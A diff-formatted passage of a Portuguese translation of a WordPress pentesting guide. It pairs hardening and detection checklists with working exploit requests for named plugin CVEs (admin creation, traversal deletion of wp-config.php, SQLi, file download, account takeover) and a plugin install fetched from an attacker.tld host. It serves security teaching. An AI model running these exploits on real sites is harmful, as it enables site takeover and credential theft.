vulnerabilidades críticas no WordPress. Para mais informações veja [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele oferece suporte para as versões do WordPress 6.X.X, 5.X.X e 4.X.X e permite: +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ é um script projetado para escalar uma vulnerabilidade de **Cross-Site Scripting (XSS)** para **Remote Code Execution (RCE)** ou outras vulnerabilidades críticas no WordPress. Para mais informações ver [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Ele fornece suporte para as versões 6.X.X, 5.X.X e 4.X.X do WordPress e permite: - _**Privilege Escalation:**_ Cria um usuário no WordPress. -- _**(RCE) Custom Plugin (backdoor) Upload:**_ Faz upload do seu plugin customizado (backdoor) para o WordPress. +- _**(RCE) Custom Plugin (backdoor) Upload:**_ Faz upload do seu custom plugin (backdoor) para o WordPress. - _**(RCE) Built-In Plugin Edit:**_ Edita um Built-In Plugin no WordPress. - _**(RCE) Built-In Theme Edit:**_ Edita um Built-In Theme no WordPress. -- _**(Custom) Custom Exploits:**_ Exploits customizados para plugins/temas WordPress de terceiros. +- _**(Custom) Custom Exploits:**_ Custom Exploits para Plugins/Themes de terceiros do WordPress. -## Pós-exploração +## Post Exploitation -Extraia nomes de usuário e senhas: +Extrair nomes de usuário e senhas: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` @@ -331,25 +331,25 @@ Alterar senha do admin: ```bash mysql -u --password= -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;" ``` -## Wordpress Plugins Pentest +## Pentest de Plugins do Wordpress ### Superfície de Ataque -Saber como um plugin do Wordpress pode expor funcionalidades é fundamental para encontrar vulnerabilidades em seu funcionamento. Você pode descobrir como um plugin pode expor funcionalidades nos itens a seguir e alguns exemplos de plugins vulneráveis em [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). +Saber como um plugin do Wordpress pode expor funcionalidades é essencial para encontrar vulnerabilidades nessas funcionalidades. Você pode encontrar como um plugin pode expor funcionalidade nos pontos abaixo e alguns exemplos de plugins vulneráveis em [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** -Uma das maneiras que um plugin pode expor funções para usuários é via AJAX handlers. Eles podem conter logic, authorization, ou authentication bugs. Além disso, é bastante frequente que essas funções baseiem tanto a authentication quanto a authorization na existência de um wordpress nonce que **any user authenticated in the Wordpress instance might have** (independentemente do seu papel). +Uma das formas pelas quais um plugin pode expor funções para uso é via handlers AJAX. Esses handlers podem conter bugs de lógica, authorization ou authentication. Além disso, é bastante frequente que essas funções baseiem tanto a authentication quanto a authorization na existência de um Wordpress nonce que **qualquer usuário autenticado na instância Wordpress pode possuir** (independentemente do seu papel). Estas são as funções que podem ser usadas para expor uma função em um plugin: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**O uso de `nopriv` torna o endpoint acessível por qualquer usuário (mesmo não autenticados).** +**O uso de `nopriv` torna o endpoint acessível por qualquer usuário (até mesmo não autenticados).** > [!CAUTION] -> Além disso, se a função apenas verifica a autorização do usuário com a função `wp_verify_nonce`, essa função apenas verifica que o usuário está logado, geralmente não verifica o papel (role) do usuário. Então usuários com poucos privilégios podem ter acesso a ações de alto privilégio. +> Além disso, se a função estiver apenas verificando a autorização do usuário com a função `wp_verify_nonce`, essa função apenas verifica se o usuário está logado, normalmente não verifica o papel do usuário. Portanto, usuários com baixa privilégio podem ter acesso a ações de alto privilégio. - **REST API** @@ -363,21 +363,21 @@ $this->namespace, '/get/', array( ) ); ``` -The `permission_callback` é um callback para uma função que verifica se um dado usuário está autorizado a chamar o método da API. +The `permission_callback` é um callback para uma função que verifica se um determinado usuário está autorizado a chamar o método da API. -**Se a função interna `__return_true` for usada, ela simplesmente vai pular a verificação de permissões do usuário.** +**Se a função integrada `__return_true` for usada, ela simplesmente ignorará a verificação de permissões do usuário.** -- **Direct access to the php file** +- **Acesso direto ao arquivo php** -Claro, Wordpress usa PHP e arquivos dentro de plugins são diretamente acessíveis pela web. Portanto, caso um plugin exponha qualquer funcionalidade vulnerável que seja acionada apenas ao acessar o arquivo, ela poderá ser explorada por qualquer usuário. +Claro, Wordpress usa PHP e arquivos dentro de plugins são diretamente acessíveis pela web. Então, caso um plugin exponha qualquer funcionalidade vulnerável que seja acionada apenas acessando o arquivo, ela poderá ser explorada por qualquer usuário. ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) -Alguns plugins implementam atalhos de “trusted header” para integrações internas ou reverse proxies e então usam esse header para definir o contexto do usuário atual para requisições REST. Se o header não for vinculado criptograficamente à requisição por um componente upstream, um atacante pode falsificá-lo e acessar rotas REST privilegiadas como administrador. +Alguns plugins implementam atalhos de “trusted header” para integrações internas ou reverse proxies e então usam esse header para definir o contexto do usuário atual para requisições REST. Se o header não estiver ligado criptograficamente à requisição por um componente upstream, um atacante pode falsificá-lo e acessar rotas REST privilegiadas como administrador. -- Impacto: escalada de privilégio não autenticada para admin ao criar um novo administrador via a core users REST route. +- Impacto: escalada de privilégios não autenticada para admin ao criar um novo administrador via a rota REST core users. - Example header: `X-Wcpay-Platform-Checkout-User: 1` (força o ID do usuário 1, tipicamente a primeira conta de administrador). -- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array. +- Exploited route: `POST /wp-json/wp/v2/users` com um array de roles elevado. PoC ```http @@ -393,29 +393,29 @@ Content-Length: 114 ``` Por que funciona -- O plugin mapeia um cabeçalho controlado pelo cliente para o estado de autenticação e pula as verificações de capability. -- O core do WordPress espera a capability `create_users` para esta rota; o hack do plugin a contorna definindo diretamente o contexto do usuário atual a partir do cabeçalho. +- O plugin mapeia um header controlado pelo cliente para o estado de autenticação e pula as verificações de capability. +- O core do WordPress espera a capability `create_users` para esta rota; o exploit do plugin a contorna definindo diretamente o contexto do usuário atual a partir do header. -Indicadores de sucesso esperados +Indicadores esperados de sucesso - HTTP 201 com um corpo JSON descrevendo o usuário criado. - Um novo usuário admin visível em `wp-admin/users.php`. -Checklist de detecção +Lista de verificação de detecção -- Procure por `getallheaders()`, `$_SERVER['HTTP_...']`, ou vendor SDKs que leem cabeçalhos customizados para definir o contexto do usuário (ex.: `wp_set_current_user()`, `wp_set_auth_cookie()`). -- Revise registros REST em busca de callbacks privilegiados que não tenham checagens robustas de `permission_callback` e que, em vez disso, dependam de cabeçalhos da requisição. -- Procure usos de funções core de gerenciamento de usuários (`wp_insert_user`, `wp_create_user`) dentro de handlers REST que sejam protegidos apenas por valores de cabeçalho. +- Busque por `getallheaders()`, `$_SERVER['HTTP_...']`, ou vendor SDKs que leem headers customizados para definir o contexto do usuário (por exemplo, `wp_set_current_user()`, `wp_set_auth_cookie()`). +- Revise os registros de REST para callbacks privilegiados que não têm checagens robustas de `permission_callback` e, em vez disso, dependem de headers da requisição. +- Procure usos das funções core de gerenciamento de usuários (`wp_insert_user`, `wp_create_user`) dentro de handlers REST que são protegidos apenas por valores em headers. ### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0) -WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement: +Temas e plugins do WordPress frequentemente expõem handlers AJAX através dos hooks `wp_ajax_` e `wp_ajax_nopriv_`. Quando a variante **_nopriv_** é usada **o callback torna-se alcançável por visitantes não autenticados**, então qualquer ação sensível deve, adicionalmente, implementar: -1. A **verificação de capability** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and -2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and -3. **Sanitização / validação estrita da entrada**. +1. Uma **verificação de capability** (ex.: `current_user_can()` ou ao menos `is_user_logged_in()`), e +2. Um **CSRF nonce** validado com `check_ajax_referer()` / `wp_verify_nonce()`, e +3. **Sanitização / validação estrita dos inputs**. -The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified): +O tema multipurpose Litho (< 3.1) esqueceu desses 3 controles na funcionalidade *Remove Font Family* e acabou distribuindo o seguinte código (simplificado): ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -434,13 +434,13 @@ die(); add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' ); ``` -Problemas introduzidos por este snippet: +Problems introduzidos por este trecho: -* **Unauthenticated access** – o hook `wp_ajax_nopriv_` está registrado. -* **Sem nonce / capability check** – qualquer visitante pode acessar o endpoint. -* **Sem sanitização do caminho** – a string controlada pelo usuário `fontfamily` é concatenada a um caminho do sistema de arquivos sem filtragem, permitindo o clássico `../../` traversal. +* **Acesso não autenticado** – o hook `wp_ajax_nopriv_` está registrado. +* **Sem verificação de nonce / capability** – qualquer visitante pode acessar o endpoint. +* **Sem sanitização do caminho** – a string controlada pelo usuário `fontfamily` é concatenada a um caminho do filesystem sem filtragem, permitindo o clássico `../../` traversal. -#### Exploitation +#### Exploração Um atacante pode excluir qualquer arquivo ou diretório **abaixo do diretório base de uploads** (normalmente `/wp-content/uploads/`) enviando uma única requisição HTTP POST: ```bash @@ -450,21 +450,21 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \ ``` Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user). -Outros alvos impactantes incluem arquivos `.php` de plugin/theme (para comprometer plugins de segurança) ou regras `.htaccess`. +Outros alvos impactantes incluem arquivos `.php` de plugins/temas (para quebrar plugins de segurança) ou regras `.htaccess`. #### Checklist de detecção -* Qualquer callback `add_action( 'wp_ajax_nopriv_...')` que chame helpers do sistema de arquivos (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.). +* Qualquer callback `add_action( 'wp_ajax_nopriv_...')` que chame funções de sistema de arquivos (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.). * Concatenação de entrada do usuário não sanitizada em caminhos (procure por `$_POST`, `$_GET`, `$_REQUEST`). * Ausência de `check_ajax_referer()` e `current_user_can()`/`is_user_logged_in()`. --- -### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role") +### Escalada de privilégio via restauração de funções obsoletas e autorização ausente (ASE "View Admin as Role") -Many plugins implement a "view as role" or temporary role-switching feature by saving the original role(s) in user meta so they can be restored later. If the restoration path relies only on request parameters (e.g., `$_REQUEST['reset-for']`) and a plugin-maintained list without checking capabilities and a valid nonce, this becomes a vertical privilege escalation. +Muitos plugins implementam um recurso de "view as role" ou troca temporária de função salvando a(s) função(ões) originais em user meta para que possam ser restauradas depois. Se o caminho de restauração depender apenas de parâmetros da requisição (por exemplo, `$_REQUEST['reset-for']`) e de uma lista mantida pelo plugin sem verificar capabilities e um nonce válido, isso se torna uma escalada vertical de privilégios. -A real-world example was found in the Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). The reset branch restored roles based on `reset-for=` if the username appeared in an internal array `$options['viewing_admin_as_role_are']`, but performed neither a `current_user_can()` check nor a nonce verification before removing current roles and re-adding the saved roles from user meta `_asenha_view_admin_as_original_roles`: +Um exemplo do mundo real foi encontrado no Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). O ramo de reset restaurava funções com base em `reset-for=` se o nome de usuário aparecesse em um array interno `$options['viewing_admin_as_role_are']`, mas não executava nem uma verificação `current_user_can()` nem uma verificação de nonce antes de remover as funções atuais e re-adicionar as funções salvas no user meta `_asenha_view_admin_as_original_roles`: ```php // Simplified vulnerable pattern if ( isset( $_REQUEST['reset-for'] ) ) { @@ -479,13 +479,13 @@ foreach ( $orig as $r ) { $u->add_role( $r ); } } } ``` -Why it’s exploitable +Por que é explorável - Confia em `$_REQUEST['reset-for']` e em uma opção do plugin sem autorização no lado do servidor. - Se um usuário anteriormente tinha privilégios mais altos salvos em `_asenha_view_admin_as_original_roles` e foi rebaixado, ele pode restaurá-los acessando o caminho de reset. -- Em algumas implantações, qualquer usuário autenticado poderia disparar um reset para outro nome de usuário ainda presente em `viewing_admin_as_role_are` (autorização quebrada). +- Em algumas implantações, qualquer usuário autenticado poderia acionar um reset para outro nome de usuário ainda presente em `viewing_admin_as_role_are` (autorização quebrada). -Exploitation (example) +Exploração (exemplo) ```bash # While logged in as the downgraded user (or any auth user able to trigger the code path), # hit any route that executes the role-switcher logic and include the reset parameter. @@ -493,23 +493,23 @@ Exploitation (example) curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -Em builds vulneráveis isso remove as roles atuais e readiciona as roles originais salvas (por exemplo, `administrator`), efetivamente escalando privilégios. +Em builds vulneráveis isso remove as funções atuais e readiciona as funções originais salvas (por exemplo, `administrator`), escalando privilégios efetivamente. -Detection checklist +Checklist de detecção -- Procure por funcionalidades de troca de role que persistem as “original roles” em user meta (por exemplo, `_asenha_view_admin_as_original_roles`). +- Procure por funcionalidades de troca de função que persistem as “funções originais” em meta do usuário (por exemplo, `_asenha_view_admin_as_original_roles`). - Identifique caminhos de reset/restore que: -- Leem usernames de `$_REQUEST` / `$_GET` / `$_POST`. -- Modificam roles via `add_role()` / `remove_role()` sem `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`. +- Leem nomes de usuário de `$_REQUEST` / `$_GET` / `$_POST`. +- Modificam funções via `add_role()` / `remove_role()` sem `current_user_can()` e `wp_verify_nonce()` / `check_admin_referer()`. - Autorizam com base em um array de opção do plugin (por exemplo, `viewing_admin_as_role_are`) em vez das capacidades do ator. --- -### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”) +### Escalação de privilégios não autenticada via troca de usuário confiando em cookie no `init` público (Service Finder “sf-booking”) Alguns plugins conectam helpers de troca de usuário ao hook público `init` e derivam a identidade a partir de um cookie controlado pelo cliente. Se o código chama `wp_set_auth_cookie()` sem verificar autenticação, capability e um nonce válido, qualquer visitante não autenticado pode forçar o login como um ID de usuário arbitrário. -Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1): +Padrão vulnerável típico (simplificado do Service Finder Bookings ≤ 6.1): ```php function service_finder_submit_user_form(){ if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) { @@ -540,11 +540,11 @@ wp_die('No original user found to switch back to.'); ``` Por que é explorável -- O hook público `init` torna o handler acessível por usuários não autenticados (sem verificação `is_user_logged_in()`). +- O hook público `init` torna o handler acessível a usuários não autenticados (sem proteção `is_user_logged_in()`). - A identidade é derivada de um cookie modificável pelo cliente (`original_user_id`). -- A chamada direta a `wp_set_auth_cookie($uid)` autentica o solicitante como esse usuário sem quaisquer verificações de capability/nonce. +- A chamada direta a `wp_set_auth_cookie($uid)` autentica o solicitante como esse usuário sem verificações de capability/nonce. -Exploração (sem autenticação) +Exploração (não autenticada) ```http GET /?switch_back=1 HTTP/1.1 Host: victim.example @@ -554,26 +554,26 @@ Connection: close ``` --- -### WAF considerations for WordPress/plugin CVEs +### Considerações de WAF para WordPress/plugin CVEs -WAFs genéricos de edge/servidor são calibrados para padrões amplos (SQLi, XSS, LFI). Muitas falhas de alto impacto em WordPress/plugins são bugs de lógica/auth específicos da aplicação que parecem tráfego benigno, a menos que o engine entenda as rotas do WordPress e a semântica do plugin. +WAFs genéricos de edge/servidor são ajustados para padrões amplos (SQLi, XSS, LFI). Muitas falhas de alto impacto em WordPress/plugin são bugs de lógica/autenticação específicos da aplicação que parecem tráfego benigno a menos que o motor entenda rotas do WordPress e a semântica do plugin. -Offensive notes +Notas ofensivas -- Alveje endpoints específicos do plugin com payloads limpos: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. -- Teste caminhos não autenticados primeiro (AJAX `nopriv`, REST com permissive `permission_callback`, shortcodes públicos). Payloads padrão frequentemente têm sucesso sem obfuscação. -- Casos típicos de alto impacto: escalonamento de privilégios (controle de acesso quebrado), upload/download arbitrário de arquivos, LFI, open redirect. +- Direcione endpoints específicos do plugin com payloads limpos: `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. +- Teste primeiro caminhos não autenticados (AJAX `nopriv`, REST com permissive `permission_callback`, shortcodes públicos). Payloads padrão frequentemente têm sucesso sem obfuscação. +- Casos típicos de alto impacto: elevação de privilégios (controle de acesso quebrado), upload/download arbitrário de arquivos, LFI, open redirect. -Defensive notes +Notas defensivas -- Não confie em assinaturas genéricas de WAF para proteger CVEs de plugins. Implemente patches virtuais específicos de vulnerabilidade na camada de aplicação ou atualize rapidamente. -- Prefira verificações de segurança do tipo positive-security no código (capabilities, nonces, validação estrita de entrada) em vez de filtros negativos por regex. +- Não confie em assinaturas genéricas de WAF para proteger CVEs de plugins. Implemente correções virtuais específicas da vulnerabilidade na camada de aplicação ou atualize rapidamente. +- Prefira checagens de segurança de lista positiva no código (capabilities, nonces, validação estrita de entrada) em vez de filtros regex negativos. ## Proteção do WordPress ### Atualizações regulares -Certifique-se de que WordPress, plugins, e themes estejam atualizados. Também confirme que a atualização automática está habilitada em wp-config.php: +Certifique-se de que WordPress, plugins e temas estejam atualizados. Também confirme que a atualização automática está habilitada em wp-config.php: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); @@ -591,13 +591,14 @@ Além disso, **instale apenas plugins e temas confiáveis do WordPress**. - Remova o usuário padrão **admin** - Use **senhas fortes** e **2FA** -- Periodicamente **revisar** as **permissões** dos usuários -- **Limitar tentativas de login** para prevenir ataques Brute Force -- Renomeie o arquivo **`wp-admin.php`** e permita acesso somente internamente ou de certos endereços IP. +- Revise periodicamente as **permissões** dos **usuários** +- **Limite tentativas de login** para prevenir ataques de Brute Force +- Renomeie o arquivo **`wp-admin.php`** e permita acesso apenas internamente ou a partir de certos endereços IP. -### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2) -O plugin WP Job Portal de recrutamento expôs uma tarefa **savecategory** que, em última instância, executa o seguinte código vulnerável dentro de `modules/category/model.php::validateFormData()`: +### SQL Injection não autenticado via validação insuficiente (WP Job Portal <= 2.3.2) + +O plugin de recrutamento WP Job Portal expôs uma tarefa **savecategory** que, em última instância, executa o seguinte código vulnerável dentro de `modules/category/model.php::validateFormData()`: ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; @@ -611,11 +612,11 @@ Problemas introduzidos por este trecho: 1. **Entrada de usuário não sanitizada** – `parentid` vem diretamente da requisição HTTP. 2. **Concatenação de strings dentro da cláusula WHERE** – sem `is_numeric()` / `esc_sql()` / prepared statement. -3. **Alcance sem autenticação** – embora a ação seja executada através de `admin-post.php`, a única verificação presente é um **CSRF nonce** (`wp_verify_nonce()`), que qualquer visitante pode recuperar de uma página pública que embede o shortcode `[wpjobportal_my_resumes]`. +3. **Acessibilidade não autenticada** – embora a ação seja executada através de `admin-post.php`, a única verificação é um **CSRF nonce** (`wp_verify_nonce()`), que qualquer visitante pode obter de uma página pública que incorpora o shortcode `[wpjobportal_my_resumes]`. #### Exploração -1. Obtenha um nonce válido: +1. Obtenha um nonce novo: ```bash curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 ``` @@ -627,10 +628,10 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -A resposta revela o resultado da consulta injetada ou altera o banco de dados, provando SQLi. +A resposta divulga o resultado da query injetada ou altera o banco de dados, provando SQLi. -### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) +### Download Arbitrário de Arquivos Não Autenticado / Path Traversal (WP Job Portal <= 2.3.2) Outra tarefa, **downloadcustomfile**, permitia que visitantes baixassem **qualquer arquivo no disco** via path traversal. O sink vulnerável está localizado em `modules/customfield/model.php::downloadCustomUploadedFile()`: ```php @@ -638,9 +639,9 @@ $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` é controlado pelo atacante e concatenado **sem sanitização**. Novamente, a única barreira é um **CSRF nonce** que pode ser obtido na página do currículo. +`$file_name` é controlado pelo atacante e concatenado **sem sanitização**. Novamente, a única barreira é um **CSRF nonce** que pode ser obtido na página de currículo. -#### Exploração +#### Exploitation ```bash curl -G https://victim.com/wp-admin/admin-post.php \ --data-urlencode 'task=downloadcustomfile' \ @@ -651,9 +652,9 @@ curl -G https://victim.com/wp-admin/admin-post.php \ ``` O servidor responde com o conteúdo de `wp-config.php`, leaking DB credentials and auth keys. -## Tomada de conta não autenticada via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) +## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) -Many themes/plugins ship "social login" helpers exposed via admin-ajax.php. If an unauthenticated AJAX action (wp_ajax_nopriv_...) trusts client-supplied identifiers when provider data is missing and then calls wp_set_auth_cookie(), this becomes a full authentication bypass. +Muitos themes/plugins incluem helpers de "social login" expostos via admin-ajax.php. Se uma action AJAX não autenticada (wp_ajax_nopriv_...) confiar em identificadores fornecidos pelo cliente quando os dados do provedor estiverem ausentes e então chamar wp_set_auth_cookie(), isso se torna um full authentication bypass. Typical flawed pattern (simplified) ```php @@ -687,14 +688,14 @@ wp_send_json(['status' => 'not_user']); Por que é explorável - Acessível sem autenticação via admin-ajax.php (ação wp_ajax_nopriv_…). -- Não há verificações de nonce/capability antes de mudança de estado. -- Falta verificação do provedor OAuth/OpenID; o default branch aceita entrada do atacante. -- get_user_by('email', $_POST['id']) seguido de wp_set_auth_cookie($uid) autentica o solicitante como qualquer endereço de email existente. +- Sem verificações de nonce/capability antes de mudanças de estado. +- Falta verificação do provider OAuth/OpenID; o ramo padrão aceita entrada do atacante. +- get_user_by('email', $_POST['id']) seguido por wp_set_auth_cookie($uid) autentica o requisitante como qualquer endereço de e-mail existente. Exploitation (unauthenticated) -- Pré-requisitos: o atacante consegue acessar /wp-admin/admin-ajax.php e sabe/adivinha um email de usuário válido. -- Defina o provedor como um valor não suportado (ou omita) para atingir o default branch e passar id=. +- Pré-requisitos: o atacante consegue acessar /wp-admin/admin-ajax.php e sabe/adivinha um endereço de e-mail de usuário válido. +- Defina provider para um valor não suportado (ou omita-o) para atingir o ramo padrão e enviar id=. ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: victim.tld @@ -707,41 +708,41 @@ action=&using=bogus&id=admin%40example.com curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \ -d "action=&using=bogus&id=admin%40example.com" ``` -Indicadores de sucesso esperados +Expected success indicators -- HTTP 200 com corpo JSON como {"status":"success","message":"Login successfully."}. -- Set-Cookie: wordpress_logged_in_* para o usuário vítima; requisições subsequentes são autenticadas. +- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}. +- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated. -Encontrando o nome da action +Finding the action name -- Inspecione o tema/plugin procurando por registros add_action('wp_ajax_nopriv_...', '...') no código de social login (ex.: framework/add-ons/social-login/class-social-login.php). -- Procure por wp_set_auth_cookie(), get_user_by('email', ...) dentro dos handlers AJAX. +- Inspecione o tema/plugin em busca de registros add_action('wp_ajax_nopriv_...', '...') no código de social login (e.g., framework/add-ons/social-login/class-social-login.php). +- Grep por wp_set_auth_cookie(), get_user_by('email', ...) dentro de handlers AJAX. -Checklist de detecção +Detection checklist -- Web logs mostrando POSTs não autenticados para /wp-admin/admin-ajax.php com a action social-login e id=. -- Respostas 200 com o JSON de sucesso imediatamente antes de tráfego autenticado vindo do mesmo IP/User-Agent. +- Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=. +- 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent. -Endurecimento +Hardening -- Não derive identidade a partir de entrada do cliente. Aceite apenas emails/IDs que se originem de um token/ID do provedor validado. -- Exija nonces CSRF e checagens de capability mesmo para helpers de login; evite registrar wp_ajax_nopriv_ a menos que estritamente necessário. -- Valide e verifique respostas OAuth/OIDC no servidor; rejeite providers ausentes/inválidos (sem fallback para o POST id). +- Não derive identidade a partir de input do cliente. Aceite apenas emails/IDs originados de um token/ID do provider validado. +- Exija nonces CSRF e capability checks mesmo para login helpers; evite registrar wp_ajax_nopriv_ a menos que estritamente necessário. +- Valide e verifique respostas OAuth/OIDC server-side; rejeite providers ausentes/inválidos (sem fallback para POST id). - Considere desabilitar temporariamente o social login ou aplicar um patch virtual na borda (bloquear a action vulnerável) até corrigir. Patched behaviour (Jobmonster 4.8.0) - Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']). -## Escalada de privilégios não autenticada via emissão de token/chave REST em identidade previsível (OttoKit/SureTriggers ≤ 1.0.82) +## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82) -Alguns plugins expõem endpoints REST que emitem “connection keys” reutilizáveis ou tokens sem verificar as capacidades do chamador. Se a rota autentica apenas com base em um atributo previsível (ex.: username) e não vincula a chave a um usuário/sessão com checagens de capability, qualquer atacante não autenticado pode emitir uma chave e invocar ações privilegiadas (criação de conta admin, ações de plugin → RCE). +Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE). - Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection - Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback -- Impact: comprometimento total ao encadear a chave emitida a ações internas privilegiadas +- Impact: full takeover by chaining the minted key to internal privileged actions -PoC – emitir uma connection key e usá-la +PoC – mint a connection key and use it ```bash # 1) Obtain key (unauthenticated). Exact payload varies per plugin curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \ @@ -756,28 +757,28 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' ``` Por que é explorável -- Rota REST sensível protegida apenas por prova de identidade de baixa entropia (username) ou ausência de permission_callback -- Sem enforcement de capability; a chave emitida é aceita como bypass universal +- Rota REST sensível protegida apenas por prova de identidade de baixa entropia (username) ou permission_callback ausente +- Sem aplicação de capability; chave emitida é aceita como um bypass universal -Checklist de detecção -- Grep o código do plugin por register_rest_route(..., [ 'permission_callback' => '__return_true' ]) -- Qualquer rota que emita tokens/chaves com base em identidade fornecida na requisição (username/email) sem vinculá-la a um usuário autenticado ou capability -- Procure rotas subsequentes que aceitem o token/chave emitido sem checagens de capability no lado do servidor +Detection checklist +- Grep no código do plugin por register_rest_route(..., [ 'permission_callback' => '__return_true' ]) +- Qualquer rota que emita tokens/keys baseada na identidade fornecida pela request (username/email) sem vincular a um user autenticado ou capability +- Procure rotas subsequentes que aceitam o token/key emitido sem verificações de capability no servidor -Mitigações +Hardening - Para qualquer rota REST privilegiada: exigir permission_callback que aplique current_user_can() para a capability requerida -- Não crie chaves de longa duração a partir de identidade fornecida pelo cliente; se necessário, emita tokens de curta duração vinculados ao usuário após autenticação e reavalie as capabilities no uso -- Valide o contexto de usuário do chamador (wp_set_current_user não é suficiente sozinho) e rejeite requisições onde !is_user_logged_in() || !current_user_can() +- Não mintar long-lived keys a partir da identidade fornecida pelo client; se necessário, emita tokens short-lived, vinculados ao usuário, pós-authentication e revalide as capabilities no uso +- Valide o contexto do usuário chamador (wp_set_current_user não é suficiente sozinho) e rejeite requests onde !is_user_logged_in() || !current_user_can() --- -## Uso indevido do Nonce → instalação arbitrária de plugin sem autenticação (FunnelKit Automations ≤ 3.5.3) +## Nonce gate misuse → instalação arbitrária de plugin sem autenticação (FunnelKit Automations ≤ 3.5.3) -Nonces previnem CSRF, não autorização. Se o código trata a aprovação do nonce como sinal verde e então ignora checagens de capability para operações privilegiadas (por exemplo, install/activate plugins), atacantes não autenticados podem satisfazer um requisito de nonce fraco e alcançar RCE instalando um plugin com backdoor ou vulnerável. +Nonces previnem CSRF, não autorização. Se o código trata a passagem do nonce como sinal verde e então pula as verificações de capability para operações privilegiadas (e.g., install/activate plugins), atacantes não autenticados podem satisfazer um requisito de nonce fraco e alcançar RCE ao instalar um plugin backdoored ou vulnerável. -- Caminho vulnerável: plugin/install_and_activate -- Falha: verificação fraca do hash do nonce; ausência de current_user_can('install_plugins'|'activate_plugins') uma vez que o nonce “passe” -- Impacto: comprometimento total via instalação/ativação arbitrária de plugins +- Vulnerable path: plugin/install_and_activate +- Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” +- Impact: full compromise via arbitrary plugin install/activation PoC (shape depends on plugin; illustrative only) ```bash @@ -785,20 +786,20 @@ curl -i -s -X POST https://victim.tld/wp-json//plugin/install_and_ -H 'Content-Type: application/json' \ --data '{"_nonce":"","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' ``` -Detection checklist -- REST/AJAX handlers que modificam plugins/themes usando apenas wp_verify_nonce()/check_admin_referer() e sem verificação de capability -- Qualquer caminho de código que define $skip_caps = true após validação do nonce +Checklist de detecção +- Manipuladores REST/AJAX que modificam plugins/themes usando apenas wp_verify_nonce()/check_admin_referer() e sem verificação de capability +- Qualquer caminho de código que configura $skip_caps = true após a 